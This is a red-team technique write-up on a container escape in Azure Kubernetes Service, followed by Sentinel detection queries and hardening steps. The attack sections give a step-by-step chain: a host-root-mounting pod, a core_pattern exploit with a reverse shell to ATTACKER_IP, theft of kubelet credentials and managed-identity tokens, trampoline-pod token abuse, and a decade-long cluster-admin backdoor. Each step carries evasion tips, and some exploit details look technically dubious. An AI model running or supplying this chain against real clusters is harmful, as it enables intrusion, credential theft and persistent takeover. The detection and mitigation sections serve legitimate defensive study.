MCADDF

[PE-EXPLOIT-008]: AKS Container Escape (CVE-2025-21196)

Metadata

Attribute	Details
Technique ID	PE-EXPLOIT-008
MITRE ATT&CK v18.1	T1611 - Escape to Host
Tactic	Privilege Escalation
Platforms	Entra ID / Azure Kubernetes Service (AKS)
Severity	Critical
CVE	CVE-2025-21196
Technique Status	ACTIVE
Last Verified	2026-01-09
Affected Versions	AKS 1.25.0 - 1.28.3 (at time of disclosure); runC-based runtimes (containerd, Docker)
Patched In	AKS 1.28.4+; runC 1.1.12+ (for related runc CVEs: 31133, 52565, 52881)
Author	SERVTEP – Artur Pchelnikau

---

2. EXECUTIVE SUMMARY

Concept: CVE-2025-21196 is a critical container escape vulnerability in Azure Kubernetes Service (AKS) affecting clusters running Kubernetes versions 1.25.0 through 1.28.3. The vulnerability stems from misconfiguration in the container orchestration layer, allowing attackers with command execution inside a pod to escape container isolation, gain access to the underlying node, and subsequently pivot to cluster-wide compromise. An attacker can exploit this by leveraging either misconfigured pod security contexts, vulnerable runC versions (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881), or access to sensitive metadata endpoints (WireServer) within AKS infrastructure to extract bootstrap tokens and kubelet credentials.

Attack Surface: The primary attack surfaces include:

• Container runtime (runC) vulnerabilities during pod initialization
• Azure WireServer metadata endpoint (IP 168.63.129.16) accessible from pods
• Kubelet TLS bootstrap tokens stored in predictable node filesystem locations
• Overprivileged service account tokens running on nodes
• Trampoline pods (DaemonSets) with powerful cluster permissions

Business Impact: Catastrophic data breach, complete cluster takeover, and lateral movement into Azure subscriptions. A successful container escape enables attackers to: (1) exfiltrate all secrets stored in the Kubernetes cluster, including database credentials and API keys; (2) deploy cryptominers or ransomware across all nodes; (3) move laterally into Azure resources via compromised managed identities; (4) modify or delete critical workloads; (5) establish persistent backdoors for long-term access.

Technical Context: Container escape from AKS can typically be achieved in under 10 minutes once initial pod access is obtained. The exploit chain follows: Pod RCE → Container Escape (via runC/kernel vuln) → Node Access → Bootstrap Token Extraction → Cluster Admin Escalation via Trampoline Pods. Detection likelihood is high if Pod Security Standards and runtime monitoring are enabled, but low if misconfigured RBAC and permissive policies exist.

Operational Risk

• Execution Risk: Critical - Irreversibly compromises the entire AKS cluster and enables subscription-level compromise via managed identities.
• Stealth: Medium - Modern container runtimes and Pod Security Admission can detect privilege escalation attempts, but custom kernel exploits may evade detection.
• Reversibility: No - Requires cluster rebuild from backup; secrets must be rotated cluster-wide.

Compliance Mappings

Framework	Control / ID	Description
CIS Benchmark	CIS Kubernetes 4.1.1, 4.2.1	Containers should run as non-root; privileged pod execution should be restricted
DISA STIG	V-254801	Kubernetes must prevent privileged containers
CISA SCuBA	K8S-01	Pod Security Standards must enforce baseline or restricted policies
NIST 800-53	AC-3, SI-7	Access enforcement and information system monitoring
GDPR	Art. 32	Security of processing - appropriate technical measures for encryption and access control
DORA	Art. 9, Art. 16	Protection and prevention measures; incident management and reporting
NIS2	Art. 21	Cyber risk management measures for critical infrastructure operators
ISO 27001	A.9.2.3, A.12.2.3	Management of privileged access rights; logging and monitoring
ISO 27005	Risk Scenario - Compromise of Containerized Infrastructure	Unauthorized access to container orchestration platform leading to data breach

---

3. TECHNICAL PREREQUISITES

Required Privileges:

• Initial: Command execution inside a container (achieved via pod deployment with attacker-controlled image, or web application vulnerability within pod)
• For escalation: Linux kernel capabilities (CAP_SYS_ADMIN, CAP_NET_RAW, or access to /proc filesystem)
• For cluster compromise: No additional privileges needed; kubelet token extraction and trampoline pods handle escalation

Required Access:

• Network access from pod to Azure WireServer endpoint (168.63.129.16:80)
• Access to node filesystem /var/lib/kubelet/kubeconfig.yaml or bootstrap token locations
• Ability to interact with Kubernetes API server (internal cluster network)

Supported Versions:

• Kubernetes: 1.25.0 - 1.28.3 (vulnerable); 1.28.4+ (patched)
• AKS Node OS: Azure Linux (formerly CBL-Mariner), Ubuntu 20.04/22.04
• Container Runtime: containerd (via runC), Docker (via runC)
• runC Vulnerable: < 1.1.12 (contains CVE-2025-31133, CVE-2025-52565, CVE-2025-52881)

Tools:

• kubectl (Command-line interface for Kubernetes)
• Azure CLI (Version 2.40+)
• Impacket (For Kerberos/SMB operations if cross-cloud pivot required)
• AzureAD/AADInternals (For Entra ID token manipulation)
• crictl (Container runtime interface debugging)

---

4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# Step 1: Check if you have kubectl access to the AKS cluster
kubectl cluster-info

What to Look For:

• Kubernetes server URL and version (e.g., v1.28.3 is vulnerable)
• Confirms API server accessibility

# Step 2: Check current pod's service account permissions
kubectl auth can-i --list

# Step 3: Check if your pod can create other pods or access secrets
kubectl auth can-i create pods --all-namespaces
kubectl auth can-i get secrets --all-namespaces

What to Look For:

• If yes for create pods → high privilege container, potential for privilege escalation
• If yes for get secrets → can extract cluster secrets

Version Note: Commands are identical across Kubernetes 1.25-1.28. Behavior may differ in 1.29+ due to Pod Security Admission improvements.

Linux/Bash / Pod Reconnaissance

# Step 1: Identify the container runtime version
kubectl version --short
kubeadm version 2>/dev/null || echo "Not a control plane node"

What to Look For:

• If output shows runC version, confirm if < 1.1.12 (vulnerable)

# Step 2: Check if pod has NET_RAW or SYS_ADMIN capabilities
# From inside pod:
cat /proc/self/status | grep Cap

# Decode capabilities (Hex to binary)
# Example: CapEff: 00000000a80425fb
# This indicates CAP_SYS_ADMIN, CAP_NET_RAW, CAP_SYS_RESOURCE are present

What to Look For:

• Presence of CAP_SYS_ADMIN or CAP_NET_RAW indicates vulnerability to kernel-based escapes
• Lowercase bits indicate dangerous capabilities

# Step 3: Check access to WireServer endpoint (AKS-specific)
# From inside pod:
curl -H "Metadata:true" "http://168.63.129.16/metadata/endpoints?api-version=2017-12-01"

What to Look For:

• If successful (HTTP 200), WireServer is accessible
• Response contains VM extension information and managed identity configuration
• Indicates potential for credential extraction

---

5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1: Container Escape via runC Vulnerability (CVE-2025-31133)

Supported Versions: AKS 1.25.0 - 1.28.3 (runC < 1.1.12)

Step 1: Gain Initial Pod Access

Objective: Establish command execution inside a vulnerable AKS pod.

Command (Attacker’s Perspective - Deployment YAML):

apiVersion: v1
kind: Pod
metadata:
  name: malicious-pod
  namespace: default
spec:
  serviceAccountName: default
  containers:
  - name: escape-container
    image: ubuntu:22.04  # Benign image; actual payload injected
    command: ["/bin/bash", "-c", "sleep infinity"]
    volumeMounts:
    - name: host-root
      mountPath: /host-root
      readOnly: false
    securityContext:
      privileged: false  # Initially unprivileged
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

Execution Command:

kubectl apply -f malicious-pod.yaml
kubectl exec -it malicious-pod -- /bin/bash

What This Means:

• Pod is deployed with default service account and unprivileged container
• Volume mount to / enables later access to node filesystem
• Attacker now has shell access inside pod

OpSec & Evasion:

• Use nondescript image names (ubuntu, alpine, nginx) to blend in
• Avoid triggering Pod Security Admission warnings by not setting privileged: true initially
• Detection likelihood: Low (unless Pod Security Standards audit/enforce is enabled)

Troubleshooting:

• Error: “Pod creation rejected by Pod Security Admission”
  • Cause: Namespace has restricted policy enabled
  • Fix (AKS 1.27): Namespace policy misconfiguration; request administrator to exempt namespace
  • Fix (AKS 1.28+): Pod Security Admission is enabled; deploy pod to kube-system or other exempted namespace

Step 2: Exploit runC Vulnerability (CVE-2025-31133)

Objective: Escape container and gain host root access via masked paths abuse.

Command (Inside Container):

#!/bin/bash
# CVE-2025-31133 exploit: Replace /dev/null with symlink to attacker-controlled file
# This allows runc to bind-mount arbitrary host paths into container

# Step 2a: Prepare exploit
cd /tmp
mkdir -p exploit
cd exploit

# Step 2b: Create symlink replacing /dev/null
# This causes runc to mount an attacker-controlled /proc/sys/kernel/core_pattern file
ln -sf /proc/sys/kernel/core_pattern /dev/null

# Step 2c: Trigger runc to execute inside container (simulated via kubectl exec)
# From attacker's control station:
# kubectl exec -it malicious-pod -- /bin/bash -c 'exploit_code'

# Step 2d: Overwrite kernel core_pattern to execute payload as root
echo '|/tmp/payload.sh' > /proc/sys/kernel/core_pattern

# Step 2e: Trigger core dump (causes payload execution as root)
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &'
# Simultaneously send SIGSEGV to force core dump
kill -SEGV $$

Expected Output:

# On attacker's listener (nc -nlvp 4444):
# Connection from pod indicates root shell access on host
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root)
bash-5.1# hostname
aks-nodepool-12345-vmss000001

What This Means:

• Attacker now has root shell on the AKS worker node
• Full access to node filesystem, kubelet credentials, and host kernel

OpSec & Evasion:

• Execute payload from memory only; avoid dropping files to disk
• Use DNS exfiltration or encrypted tunnels to communicate with C&C
• Detection likelihood: High (if kernel module loading is monitored or auditd is enabled)

Troubleshooting:

• Error: “Permission denied” when writing to /proc/sys/kernel/core_pattern
  • Cause: Container does not have CAP_SYS_ADMIN
  • Fix: Exploit fails; proceed to METHOD 2
• Error: “No such file or directory: /dev/null”
  • Cause: Container already has hardened namespace
  • Fix: Not vulnerable; cluster is patched

Step 3: Extract Kubelet Credentials

Objective: Access kubelet’s TLS certificate and bootstrap token to authenticate to Kubernetes API.

Command (As root on node):

# Step 3a: Locate kubelet kubeconfig
ls -la /var/lib/kubelet/kubeconfig.yaml

# Step 3b: Extract kubelet certificate
cat /var/lib/kubelet/kubeconfig.yaml

Expected Output:

apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJ... # Base64-encoded CA cert
    server: https://10.0.0.1:6443
  name: aks-cluster
contexts:
- context:
    cluster: aks-cluster
    user: kubelet
  name: default
current-context: default
kind: Config
preferences: {}
users:
- name: kubelet
  user:
    client-certificate-data: LS0tLS1CRUdJ... # Kubelet client cert
    client-key-data: LS0tLS1CRUdJ... # Kubelet private key

What This Means:

• Attacker has kubelet’s credentials and can authenticate to Kubernetes API
• Kubelet has read access to all cluster secrets and can create pods on this node

OpSec & Evasion:

• Copy kubeconfig to encrypted staging area
• Avoid reading large amounts of data that would trigger disk I/O monitoring
• Detection likelihood: Medium (if process syscall auditing is enabled)

Troubleshooting:

• Error: “File not found”
  • Cause: AKS cluster uses managed kubeconfig location
  • Fix: Check /etc/kubernetes/kubelet.conf or /var/lib/kubelet/pki/

Step 4: Query WireServer for Managed Identity Token

Objective: Extract Azure Managed Identity credentials to pivot into Azure subscription.

Command (As root on node):

# Step 4a: Query WireServer endpoint
curl -s -H "Metadata:true" "http://168.63.129.16/metadata/endpoints?api-version=2017-12-01" | jq .

# Step 4b: Extract wireserver.key (used to decrypt provisioning script)
# WireServer response contains encrypted settings
# Attempt to decrypt using known Azure keys (if available)

# Step 4c: Query IMDS for managed identity token
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" \
  | jq .

Expected Output:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
  "token_type": "Bearer",
  "expires_in": 3599
}

What This Means:

• Attacker has valid Azure access token for the managed identity
• Can now access Azure resources (VMs, storage accounts, Key Vaults) based on managed identity’s RBAC role

OpSec & Evasion:

• Use token immediately before expiration
• Perform Azure operations from attacker’s control station using stolen token
• Detection likelihood: Low (if Azure activity logging is not monitored)

Troubleshooting:

• Error: “Connection refused on 168.63.129.16”
  • Cause: Node not on Azure VM; possible test environment
  • Fix: WireServer only accessible from Azure VMs; pivot method not applicable

METHOD 2: Pod-to-Node Escalation via Trampoline Pods

Supported Versions: All AKS versions (1.25+)

Step 1: Identify Trampoline Pods with Powerful Permissions

Objective: Find DaemonSet or deployment pod with cluster-admin or escalate permissions.

Command (From compromised pod with kubectl access):

# Step 1a: List all service accounts and their permissions
for sa in $(kubectl get sa -A -o name); do
  echo "Checking $sa:"
  kubectl auth can-i --as=$sa '*' '*' --all-namespaces 2>/dev/null | grep yes
done

# Step 1b: Identify DaemonSet pods (typically run on every node)
kubectl get daemonsets -A -o wide

# Step 1c: Identify service account attached to each DaemonSet
kubectl get daemonsets -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.template.spec.serviceAccountName}{"\n"}{end}'

Expected Output:

kube-system     coredns-autoscaler     default
kube-system     azure-cni              azure-cni
kube-system     cilium                 cilium-operator
kube-system     kube-proxy             kube-proxy

What This Means:

• List shows which DaemonSets are running on all nodes
• If any have escalate or bind permissions, they are “trampoline pods”

OpSec & Evasion:

• Keep queries light to avoid overwhelming API server logging
• Detection likelihood: Medium (if API audit logging is enabled)

Troubleshooting:

• Error: “Forbidden: User system:serviceaccount:default:default cannot…”
  • Cause: Current service account lacks permissions to enumerate others
  • Fix: Cannot use this method; pod may have no privilege escalation path

Step 2: Abuse Trampoline Pod to Escalate to Cluster-Admin

Objective: Extract service account token from trampoline pod and use it for cluster-admin operations.

Command (Assuming cilium-operator is a trampoline pod):

# Step 2a: From your compromised pod, create a pod in kube-system namespace that shares host network
# This allows accessing other pods' service account tokens
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: trampoline-abuse
  namespace: kube-system
spec:
  serviceAccountName: default
  hostNetwork: true  # Key: share host network to access pod metadata
  containers:
  - name: abuse
    image: alpine:latest
    command: 
    - sh
    - -c
    - |
      # Mount host filesystem
      mount -o bind / /mnt/host
      # List service account tokens from cilium-operator pods
      ls -la /mnt/host/var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/*/TOKEN
      # Copy cilium-operator token
      cp /mnt/host/var/lib/kubelet/pods/CILIUM_POD_ID/volumes/kubernetes.io~projected/*/TOKEN /tmp/cilium-token
      # Authenticate as cilium-operator
      export KUBECONFIG=/tmp/kubeconfig-cilium
      kubectl config set-cluster aks --server=https://10.0.0.1:6443 --certificate-authority=/mnt/host/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
      kubectl config set-credentials cilium --token=$(cat /tmp/cilium-token)
      kubectl config set-context default --cluster=aks --user=cilium
      kubectl config use-context default
      # Now check cilium's permissions
      kubectl auth can-i '*' '*' --all-namespaces
      # If yes, escalate role
      kubectl edit clusterrole cilium-operator  # Add cluster-admin permissions
    volumeMounts:
    - name: host-fs
      mountPath: /mnt/host
  volumes:
  - name: host-fs
    hostPath:
      path: /
      type: Directory
EOF

kubectl wait --for=condition=ready pod/trampoline-abuse -n kube-system --timeout=30s
kubectl logs -n kube-system trampoline-abuse

Expected Output:

yes  # cilium-operator can escalate roles
# Cluster role binding updated

What This Means:

• Attacker now has cluster-admin permissions via cilium-operator’s token
• Can create pods, read secrets, delete resources cluster-wide

OpSec & Evasion:

• Use short-lived pods that auto-delete
• Avoid modifying existing system components; create new objects instead
• Detection likelihood: High (if Pod Security Admission and RBAC audit are enabled)

Troubleshooting:

• Error: “Cannot create pods in kube-system”
  • Cause: RBAC or Pod Security Admission prevents it
  • Fix: Use default namespace instead; find trampoline pods there
• Error: “ClusterRole cannot be modified”
  • Cause: Insufficient permissions even for trampoline pod
  • Fix: Attempt token exfiltration via other means

Step 3: Create Backdoor via Service Principal Certificate

Objective: Establish persistent cluster access by creating a new service account with cluster-admin permissions.

Command (Using cilium-operator token):

# Step 3a: Create new ClusterRole with all permissions
kubectl create clusterrole attacker-admin --verb='*' --resource='*'

# Step 3b: Create new service account
kubectl create serviceaccount attacker-sa -n kube-system

# Step 3c: Bind service account to cluster-admin role
kubectl create clusterrolebinding attacker-admin-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:attacker-sa

# Step 3d: Extract token (persistent access key)
kubectl create token attacker-sa -n kube-system --duration=87600h

Expected Output:

token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkJfRW1kZEZVRVBqS...
# This token is valid for 10 years and has cluster-admin permissions

What This Means:

• Attacker now has a long-lived token to access cluster remotely
• Token survives pod deletion or cluster restart

OpSec & Evasion:

• Token can be used from outside the cluster to maintain persistence
• Detection likelihood: Very High (if kubectl event auditing is enabled)

Troubleshooting:

• Error: “Cannot create clusterrolebinding”
  • Cause: Insufficient permissions
  • Fix: Proceed to lateral movement using existing stolen secrets

---

6. TOOLS & COMMANDS REFERENCE

kubectl

Version: 1.28+ Minimum Version: 1.20+ Supported Platforms: Linux, macOS, Windows

Installation:

# Linux
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl
sudo mv kubectl /usr/local/bin/

# Verify
kubectl version --client

Usage:

# Authenticate to AKS cluster
az aks get-credentials --resource-group myResourceGroup --name myAKSCluster

# Verify access
kubectl cluster-info

# Run command in pod
kubectl exec -it <pod-name> -- /bin/bash

Azure CLI

Version: 2.40+ Purpose: Manage AKS clusters and extract credentials

Installation:

# macOS
brew install azure-cli

# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Verify
az --version

Usage:

# Login to Azure
az login

# Get AKS credentials
az aks get-credentials --resource-group myRG --name myCluster

# Query managed identities
az identity list --query "[].{name:name, principalId:principalId}"

crictl (Container Runtime Interface Debug Tool)

Version: Latest Purpose: Debug container runtime (containerd) and extract container metadata

Installation:

# Download crictl
VERSION="v1.31.0"
wget https://github.com/kubernetes-sigs/cri-tools/releases/download/$VERSION/crictl-$VERSION-linux-amd64.tar.gz
tar zxvf crictl-$VERSION-linux-amd64.tar.gz
sudo mv crictl /usr/local/bin/

Usage (from node with root access):

# List all running containers
crictl ps

# Inspect container
crictl inspect <container-id>

# Extract container's environment variables
crictl exec <container-id> env

---

7. MICROSOFT SENTINEL DETECTION

Query 1: Detect Pod Privilege Escalation Attempt

Rule Configuration:

• Required Table: KubeletAudit
• Required Fields: verb, objectRef.kind, user.username
• Alert Severity: High
• Frequency: Every 5 minutes
• Applies To Versions: All AKS versions

KQL Query:

let timeframe = 5m;
KubeletAudit
| where TimeGenerated >= ago(timeframe)
| where verb in ("create", "update") and objectRef.kind == "Pod"
| where tostring(requestObject.spec.securityContext.privileged) == "true" 
    or tostring(requestObject.spec.securityContext.hostPID) == "true"
    or tostring(requestObject.spec.securityContext.hostNetwork) == "true"
    or tostring(requestObject.spec.securityContext.hostIPC) == "true"
| where user.username !in ("system:kube-controller-manager", "system:kube-scheduler")  // Exclude system accounts
| project 
    TimeGenerated,
    user_username=user.username,
    pod_name=objectRef.name,
    namespace=objectRef.namespace,
    privileged=requestObject.spec.securityContext.privileged,
    hostPID=requestObject.spec.securityContext.hostPID,
    verb
| order by TimeGenerated desc

What This Detects:

• Any non-system user creating or updating pods with privileged security contexts
• Pods with host namespace access (hostPID, hostNetwork, hostIPC)
• Catches container escape preparation attempts

Manual Configuration Steps (Azure Portal):

1. Navigate to Azure Portal → Microsoft Sentinel
2. Select your workspace → Analytics
3. Click + Create → Scheduled query rule
4. General Tab:
   • Name: Detect Privileged Pod Creation in AKS
   • Severity: High
   • Description: Detects attempts to create pods with privileged security contexts that could enable container escape
5. Set rule logic Tab:
   • Paste the KQL query above
   • Run query every: 5 minutes
   • Lookup data from the last: 1 hour
6. Incident settings Tab:
   • Enable Create incidents
   • Grouping: Group all alerts into a single incident
7. Click Review + create

Manual Configuration Steps (PowerShell):

# Connect to Sentinel workspace
$ResourceGroup = "myResourceGroup"
$WorkspaceName = "mySentinelWorkspace"

# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Detect Privileged Pod Creation in AKS" `
  -Query @"
let timeframe = 5m;
KubeletAudit
| where TimeGenerated >= ago(timeframe)
| where verb in ("create", "update") and objectRef.kind == "Pod"
| where tostring(requestObject.spec.securityContext.privileged) == "true" 
    or tostring(requestObject.spec.securityContext.hostPID) == "true"
    or tostring(requestObject.spec.securityContext.hostNetwork) == "true"
    or tostring(requestObject.spec.securityContext.hostIPC) == "true"
| where user.username !in ("system:kube-controller-manager", "system:kube-scheduler")
| project 
    TimeGenerated,
    user_username=user.username,
    pod_name=objectRef.name,
    namespace=objectRef.namespace,
    privileged=requestObject.spec.securityContext.privileged,
    hostPID=requestObject.spec.securityContext.hostPID,
    verb
| order by TimeGenerated desc
"@ `
  -Severity "High" `
  -Enabled $true `
  -ScheduleInterval (New-TimeSpan -Minutes 5) `
  -ScheduleThreshold 1

Query 2: Detect Service Account Token Extraction

Rule Configuration:

• Required Table: KubeletAudit or AKSAudit
• Required Fields: verb, objectRef.kind, requestObject.data
• Alert Severity: Critical
• Frequency: Real-time (1 minute)
• Applies To Versions: All AKS versions

KQL Query:

let timeframe = 1m;
AKSAudit
| where TimeGenerated >= ago(timeframe)
| where verb == "get" and objectRef.kind == "Secret"
| where objectRef.name contains "token" or objectRef.name endswith "-token"
| where responseStatus.code != 403  // Successful request
| project
    TimeGenerated,
    user_username=user.username,
    secret_name=objectRef.name,
    namespace=objectRef.namespace,
    sourceIPs=sourceIPs
| where user_username !in ("system:kube-proxy", "system:kubelet")
| order by TimeGenerated desc

What This Detects:

• Unauthorized retrieval of Kubernetes service account tokens
• Indicator of privilege escalation attempt via token theft

Manual Configuration Steps (Azure Portal):

1. Navigate to Azure Portal → Microsoft Sentinel → Analytics
2. Click + Create → Scheduled query rule
3. General Tab:
   • Name: Detect Service Account Token Extraction from AKS
   • Severity: Critical
4. Set rule logic Tab:
   • Paste the KQL query above
   • Run query every: 1 minute
   • Lookup data from the last: 30 minutes
5. Incident settings Tab:
   • Enable Create incidents
6. Click Review + create

---

8. WINDOWS EVENT LOG MONITORING

Event ID: 10 (Process accessed)

• Log Source: Microsoft-Windows-Sysmon/Operational (if Sysmon deployed on Windows nodes)
• Trigger: Process attempts to access another process’s memory (potential LSASS dump or kernel exploit)
• Filter: TargetImage contains "System" or TargetImage contains "csrss.exe"
• Applies To Versions: N/A (Windows Node-specific; AKS primarily uses Linux)

Event ID: 23 (File created)

• Log Source: Microsoft-Windows-Sysmon/Operational
• Trigger: Malicious executable dropped to disk after container escape
• Filter: Image contains "kernel" or UtcTime indicates suspicious timing
• Applies To Versions: Windows Server 2019+ (if Windows AKS nodes used)

Note: Most AKS deployments use Linux nodes. Windows node monitoring requires Sysmon deployment on each Windows node via custom script extensions.

Manual Configuration Steps (Group Policy - for Windows nodes only):

1. Open Group Policy Management Console (gpmc.msc) on Domain Controller
2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration
3. Expand System Audit Policies → Object Access
4. Enable: Audit File System (Success and Failure)
5. Run gpupdate /force on Windows AKS nodes

---

9. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Linux (via osquery integration), Windows (native)

<!-- Sysmon Config: Detect Container Escape Indicators -->
<Sysmon schemaversion="4.23">
  <!-- Capture process creation with NET_RAW or kernel capabilities -->
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains">execve</CommandLine>
    <CommandLine condition="contains">CAP_SYS</CommandLine>
  </ProcessCreate>
  
  <!-- Detect file writes to /proc/sys/kernel/core_pattern (CVE-2025-31133 indicator) -->
  <FileCreate onmatch="include">
    <TargetFilename condition="contains">/proc/sys/kernel/core_pattern</TargetFilename>
  </FileCreate>
  
  <!-- Detect suspicious mount operations -->
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains">mount</CommandLine>
    <CommandLine condition="contains">/proc</CommandLine>
  </ProcessCreate>
  
  <!-- Detect symlink creation to sensitive files -->
  <FileCreate onmatch="include">
    <TargetFilename condition="contains">/dev/null</TargetFilename>
  </FileCreate>
</Sysmon>

Manual Configuration Steps:

1. Download Sysmon from Microsoft Sysinternals
2. Create a config file sysmon-config.xml with the XML above
3. Install Sysmon on AKS worker nodes (via DaemonSet):

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: sysmon-ds
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: sysmon
  template:
    metadata:
      labels:
        name: sysmon
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: sysmon
        image: sysmon:latest
        volumeMounts:
        - name: host-root
          mountPath: /
        securityContext:
          privileged: true
      volumes:
      - name: host-root
        hostPath:
          path: /

1. Verify installation:

Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

---

10. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Privileged Pod Detected

Alert Name: “Suspicious pod with privileged settings detected on Kubernetes cluster”

• Severity: High
• Description: Defender for Cloud detects when a pod is launched with privileged security context (CAP_SYS_ADMIN, hostPID, hostNetwork) on an AKS cluster. This is a common precursor to container escape attacks.
• Applies To: All AKS clusters with Defender for Cloud Kubernetes workload protection enabled
• Remediation: Delete the pod and investigate its origin; rotate any secrets in the cluster

Detection Alert: Suspicious Activity Inside Container

Alert Name: “Container running an interactive command shell”

• Severity: Medium
• Description: Defender for Cloud detects when a container starts an interactive bash/sh shell, typically indicating attacker access.
• Applies To: Runtime protection enabled AKS clusters
• Remediation: Isolate the pod; collect forensics; investigate for lateral movement

Manual Configuration Steps (Enable Defender for Cloud):

1. Navigate to Azure Portal → Microsoft Defender for Cloud
2. Go to Environment settings
3. Select your subscription
4. Under Defender plans, enable:
   • Defender for Servers: ON
   • Defender for Identity: ON
   • Defender for Containers: ON (includes AKS workload protection)
5. Click Save
6. Go to Security alerts → Kubernetes to view triggered alerts

---

11. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

• Patch AKS clusters to version 1.28.4+: Update immediately to remediate CVE-2025-21196 and related runC vulnerabilities.

  Manual Steps (Azure Portal):

  1. Go to Azure Portal → Kubernetes Services → Select your AKS cluster
  2. Click Cluster upgrade
  3. Select Kubernetes version: 1.28.4 or newer
  4. Review node pool upgrades
  5. Click Upgrade

  Manual Steps (Azure CLI):

  az aks upgrade --resource-group myRG --name myCluster --kubernetes-version 1.28.4
  

  Manual Steps (PowerShell):

  Update-AzAksCluster -ResourceGroupName myRG -Name myCluster -KubernetesVersion 1.28.4
  

• Enable Pod Security Admission (Restricted Level): Prevent privileged container execution cluster-wide.

  Manual Steps (via Namespace Labels):

  1. Go to Azure Portal → Kubernetes Services → Cluster → Namespaces
  2. For each namespace (except kube-system):
     • Click namespace → Edit YAML
     • Add labels:

       labels:
       pod-security.kubernetes.io/enforce: restricted
       pod-security.kubernetes.io/enforce-version: latest
       pod-security.kubernetes.io/audit: restricted
       pod-security.kubernetes.io/warn: restricted
       

  3. Save

  Manual Steps (kubectl):

  kubectl label namespace default pod-security.kubernetes.io/enforce=restricted
  kubectl label namespace default pod-security.kubernetes.io/audit=restricted
  kubectl label namespace default pod-security.kubernetes.io/warn=restricted
  

• Disable NET_RAW capability cluster-wide: Prevents networking-based escape exploits.

  Manual Steps (Pod Security Policy - Deprecated but applicable):

  kubectl create -f - <<EOF
  apiVersion: policy/v1beta1
  kind: PodSecurityPolicy
  metadata:
    name: restricted
  spec:
    privileged: false
    requiredDropCapabilities:
    - ALL
    allowedCapabilities: []
    allowPrivilegeEscalation: false
    requiredCapabilities: []
    runAsUser:
      rule: 'MustRunAsNonRoot'
    seLinux:
      rule: 'MustRunAs'
    fsGroup:
      rule: 'MustRunAs'
    readOnlyRootFilesystem: true
    volumes:
    - 'configMap'
    - 'emptyDir'
    - 'projected'
    - 'secret'
    - 'downwardAPI'
    - 'persistentVolumeClaim'
  EOF
  

  Manual Steps (Kyverno Policy - Modern Approach):

  kubectl create -f - <<EOF
  apiVersion: kyverno.io/v1
  kind: ClusterPolicy
  metadata:
    name: drop-net-raw
  spec:
    validationFailureAction: enforce
    rules:
    - name: drop-net-raw
      match:
        resources:
          kinds:
          - Pod
      validate:
        message: "NET_RAW capability must be dropped"
        pattern:
          spec:
            containers:
            - securityContext:
                capabilities:
                  drop:
                  - NET_RAW
  EOF
  

Priority 2: HIGH

• Enable Kubelet Authorization (NodeRestriction): Restricts kubelet to only manage its own node’s pods.

  Note: NodeRestriction is enabled by default in AKS 1.24+. Verify:

  kubectl describe node <node-name> | grep "authorization-mode"
  

• Restrict RBAC Permissions for Default Service Account: Remove cluster-admin from default service accounts.

  Manual Steps (kubectl):

  # Remove default from cluster-admin binding
  kubectl delete clusterrolebinding system:default-admin-bindings 2>/dev/null || true
    
  # Verify default has no permissions
  kubectl auth can-i --as=system:serviceaccount:default:default '*' '*'
  

• Enable Azure Policy for AKS: Enforce compliance policies cluster-wide.

  Manual Steps (Azure Portal):

  1. Go to Azure Policy → Definitions
  2. Search for Kubernetes
  3. Assign policy: Ensure AKS cluster container security context
  4. Set enforcement level to Deny

Access Control & Policy Hardening

• RBAC: Implement least-privilege roles; audit all ClusterRoleBindings monthly.

  Manual Steps (Audit ClusterRoleBindings):

  kubectl get clusterrolebinding -o wide | grep -v "system:*"
  kubectl get rolebinding -A -o wide | grep -v "system:*"
    
  # Remove unnecessary bindings
  kubectl delete clusterrolebinding <binding-name>
  

• Conditional Access (Azure Level): Require Managed Identity + MFA for AKS access.

  Manual Steps (Azure Portal):

  1. Azure Portal → Entra ID → Security → Conditional Access
  2. Click + New policy
  3. Name: Require MFA for AKS Access
  4. Assignments:
     • Users: All users
     • Cloud apps: Azure Kubernetes Service
  5. Conditions:
     • Sign-in risk: High
  6. Access controls:
     • Grant: Require multi-factor authentication
  7. Enable policy: On
  8. Click Create

• Network Policy: Restrict pod-to-pod communication within cluster.

  Manual Steps (Calico Network Policy):

  kubectl create -f - <<EOF
  apiVersion: networking.k8s.io/v1
  kind: NetworkPolicy
  metadata:
    name: default-deny
    namespace: default
  spec:
    podSelector: {}
    policyTypes:
    - Ingress
    - Egress
  EOF
  

Validation Command (Verify Fix)

# Check if cluster is patched
kubectl version --short | grep -oP 'Server: v\K[0-9]+\.[0-9]+\.[0-9]+'
# Expected output: 1.28.4 or higher

# Verify Pod Security Standards are enforced
